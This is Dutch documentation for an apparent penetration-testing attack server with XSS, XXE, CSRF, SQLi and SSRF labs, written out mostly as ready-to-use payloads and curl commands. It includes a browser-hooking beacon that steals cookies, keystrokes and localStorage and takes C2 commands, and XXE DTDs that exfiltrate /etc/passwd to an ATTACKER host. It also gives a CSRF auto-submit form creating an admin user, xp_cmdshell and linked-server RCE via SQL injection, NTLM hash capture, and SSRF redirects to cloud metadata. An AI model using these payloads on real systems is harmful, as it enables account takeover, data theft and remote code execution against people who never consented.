De IB Vulnerability Labs: XSS, XXE, CSRF, SQLi en SSRF
Incompetent Bastard (IB) bevat vijf geintegreerde vulnerability labs die dienen als aanvalsinfrastructuur tijdens een penetratietest. Elk lab biedt payload-endpoints zonder authenticatie (zodat doelsystemen ze kunnen bereiken), gecombineerd met een beveiligd dashboard voor de operator.
IB – De payload-routes zijn bewust onbeveiligd. De dashboard-routes vereisen localhost-toegang of authenticatie.
Vereisten
- IB draait en is bereikbaar vanaf het doelnetwerk:
flask --app app:create_app run --host 0.0.0.0 --port 5000- Stel je IB-adres in vanuit het perspectief van het doel:
curl -X POST http://127.0.0.1:5000/api/settings \
-H "Content-Type: application/json" \
-d '{"localhost":"http://10.10.14.5:5000"}'In de voorbeelden gebruiken we ATTACKER als placeholder
voor dit adres.
XSS Lab
Het XSS lab biedt een JavaScript-beacon die browsers hookt en data terugrapporteert.
Architectuur
| Route | Beschrijving |
|---|---|
/x.js of /xxs.js |
JavaScript beacon (hook) |
/xxs/cookies |
Ontvangt gestolen cookies |
/xxs/keylogger |
Ontvangt toetsaanslagen |
/xxs/localstorage |
Ontvangt localStorage-data |
/xxs/commands |
Levert C2-commando’s aan gehoekte browsers |
/xxs/commands/result |
Ontvangt C2-resultaten |
/dashboard/xxs |
Operator dashboard |
Beacon injecteren
<script src="http://ATTACKER:5000/x.js"></script>De beacon verzamelt automatisch cookies, toetsaanslagen en localStorage en stuurt deze naar IB. Elke gehoekte browser verschijnt als client op het dashboard.
C2-commando’s
Voer JavaScript uit in gehoekte browsers:
# Commando naar alle clients
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
-H "Content-Type: application/json" \
-d '{"host":"*","opdracht":"return document.cookie"}'
# Naar specifiek IP
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
-H "Content-Type: application/json" \
-d '{"host":"192.168.1.100","opdracht":"return document.location.href"}'
# Actieve clients bekijken
curl http://127.0.0.1:5000/api/xxs/hooked
# Commando's beheren
curl http://127.0.0.1:5000/api/xxs/commands
curl -X DELETE http://127.0.0.1:5000/api/xxs/commands/1
curl -X POST http://127.0.0.1:5000/api/xxs/commands/clearIB – Gedownloade cookies zijn in Netscape-formaat en
kunnen direct met curl -b cookies.txt worden gebruikt.
XXE Lab
Het XXE lab ondersteunt out-of-band (OOB) en error-based XML External Entity exfiltratie.
Architectuur
| Route | Beschrijving |
|---|---|
/xxe/yolo.dtd |
Dynamische OOB DTD |
/xxe/fout.dtd |
Error-based DTD |
/xxe/froufrou |
Callback voor geexfiltreerde data |
/dashboard/xxe |
Operator dashboard |
OOB exfiltratie
Injecteer deze XML-payload in een kwetsbare parser:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://ATTACKER:5000">
%xxe;
]>
<root>&yolo;</root>De DTD op /xxe/yolo.dtd leest het bestand op het
doelsysteem en stuurt de inhoud via /xxe/froufrou terug
naar IB. Data wordt opgeslagen in de database en in
raw/loot/<client_ip>/xxe/.
Error-based exfiltratie
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER:5000/xxe/fout.dtd?resource=file:///etc/hostname">
%xxe;
]>API
curl http://127.0.0.1:5000/api/xxe/data
curl -X DELETE http://127.0.0.1:5000/api/xxe/1CSRF Lab
Het CSRF lab biedt tools om CSRF-tokens te oogsten en formulieren automatisch te submitten.
Architectuur
| Route | Beschrijving |
|---|---|
/csrf.js |
JavaScript dat formulieren scant en tokens stuurt |
/csrf/inject.html |
Auto-submitting CSRF-formulier |
/csrf/harvest |
Callback voor geoogste data |
/dashboard/csrf |
Operator dashboard |
Token harvesting
<script src="http://ATTACKER:5000/csrf.js"></script>Het script scant alle formulieren op hidden fields (CSRF-tokens) en hookt form-submits om ingevulde data te onderscheppen.
Auto-submit CSRF
http://ATTACKER:5000/csrf/inject.html?action=https://target.com/admin/user&method=POST&username=attacker&role=admin
Genereert een HTML-pagina met een auto-submitting formulier. De
action-parameter is de doel-URL, method is
POST of GET, en alle overige parameters worden als hidden inputs
toegevoegd.
API
curl http://127.0.0.1:5000/api/csrf/data
curl -X DELETE http://127.0.0.1:5000/api/csrf/1IB – De harvest callback retourneert een 1x1
transparante GIF, onopvallend als <img> tag.
SQLi Lab
Het SQLi lab biedt injection-relay, OOB callbacks, second-order SQLi en MSSQL-tooling.
Kernroutes
| Route | Beschrijving |
|---|---|
/sqli2/inject |
Proxy voor SQLi-payloads |
/sqli2/callback |
Blind SQLi data-exfiltratie |
/sqli2/mssql/xpcmdshell |
xp_cmdshell RCE |
/sqli2/mssql/unc |
UNC path injection (hash capture) |
/sqli2/mssql/links/discover |
Linked servers ontdekken |
/sqli2/mssql/links/crawl |
Keten-exploratie via OPENQUERY |
/sqli2/mssql/links/rce |
RCE via linked server keten |
/api/sqli/cheatsheet |
Cheatsheet voor alle DB-engines |
/dashboard/sqli |
Operator dashboard |
Injection relay
curl "http://ATTACKER:5000/sqli2/inject?url=http://target.com/search¶m=q&payload=' OR 1=1--"MSSQL xp_cmdshell
curl -X POST http://ATTACKER:5000/sqli2/mssql/xpcmdshell \
-H "Content-Type: application/json" \
-d '{"url":"http://target.com/products","param":"id","command":"whoami","enable":true}'Second-order SQLi
Driestappenmodel: store -> trigger -> verify:
# Stap 1: Payload opslaan
curl -X POST http://ATTACKER:5000/sqli2/secondorder/store \
-H "Content-Type: application/json" \
-d '{"label":"register","url":"http://target.com/register","param":"username","payload":"admin'\'' OR 1=1--"}'
# Stap 2: Triggeren
curl -X POST http://ATTACKER:5000/sqli2/secondorder/trigger \
-H "Content-Type: application/json" \
-d '{"store_id":1,"url":"http://target.com/profile"}'
# Stap 3: Verifieren
curl "http://ATTACKER:5000/sqli2/secondorder/verify/1?url=http://target.com/profile"MSSQL Linked Servers
# Ontdekken
curl -X POST http://ATTACKER:5000/sqli2/mssql/links/discover \
-H "Content-Type: application/json" \
-d '{"url":"http://target.com/products","param":"id"}'
# RCE via keten
curl -X POST http://ATTACKER:5000/sqli2/mssql/links/rce \
-H "Content-Type: application/json" \
-d '{"url":"http://target.com/products","param":"id","chain":["SRV02"],"command":"whoami"}'SSRF Lab
Het SSRF lab biedt redirect-endpoints voor cloud metadata en blind SSRF-bevestiging.
Endpoints
| Route | Doel |
|---|---|
/ssrf/aws |
AWS EC2 metadata (169.254.169.254) |
/ssrf/azure |
Azure Instance Metadata |
/ssrf/google |
Google Cloud metadata |
/ssrf/openstack |
OpenStack metadata |
/ssrf/oracle |
Oracle Cloud metadata |
/ssrf/digitalocean |
DigitalOcean metadata |
/ssrf/kubernetes |
Kubernetes metadata |
/ssrf/docker |
Docker daemon API (127.0.0.1:2375) |
/ssrf/passwd |
file:////etc/passwd |
/ssrf/winini |
file:///c:/windows/win.ini |
/ssrf/redirect?url=URL |
Dynamische redirect |
/ssrf/callback |
Blind SSRF bevestiging |
Gebruik
Wanneer een SSRF-kwetsbaarheid redirects volgt:
http://ATTACKER:5000/ssrf/aws
Dit retourneert een HTTP 307 redirect naar de AWS metadata endpoint. Voor interne services:
http://ATTACKER:5000/ssrf/redirect?url=http://192.168.1.1:8080/admin
Voor blind SSRF bevestiging:
http://ATTACKER:5000/ssrf/callback?data=ssrf-confirmed
# API
curl http://127.0.0.1:5000/api/ssrf/dataIB – Alle SSRF redirect-routes gebruiken HTTP 307 om de originele HTTP-methode te behouden.
Labs combineren
XSS naar CSRF: injecteer de beacon, hook de browser,
stuur via C2 het commando om ook /csrf.js te laden, oogst
tokens, gebruik /csrf/inject.html voor een gerichte
aanval.
SQLi naar hash capture: identificeer SQLi in MSSQL,
gebruik /sqli2/mssql/unc om UNC-request te forceren, vang
de NTLM-hash op met Responder.
Samenvatting
De vijf IB vulnerability labs bieden complete aanvalsinfrastructuur:
- XSS (
/dashboard/xxs) – beacon, cookies, keylogger, localStorage, C2 - XXE (
/dashboard/xxe) – OOB en error-based exfiltratie - CSRF (
/dashboard/csrf) – token harvesting en auto-submit - SQLi (
/dashboard/sqli) – relay, MSSQL tooling, second-order, linked servers - SSRF (
/dashboard/ssrf) – cloud metadata, file access, blind callback
De volledige broncode is beschikbaar op GitHub.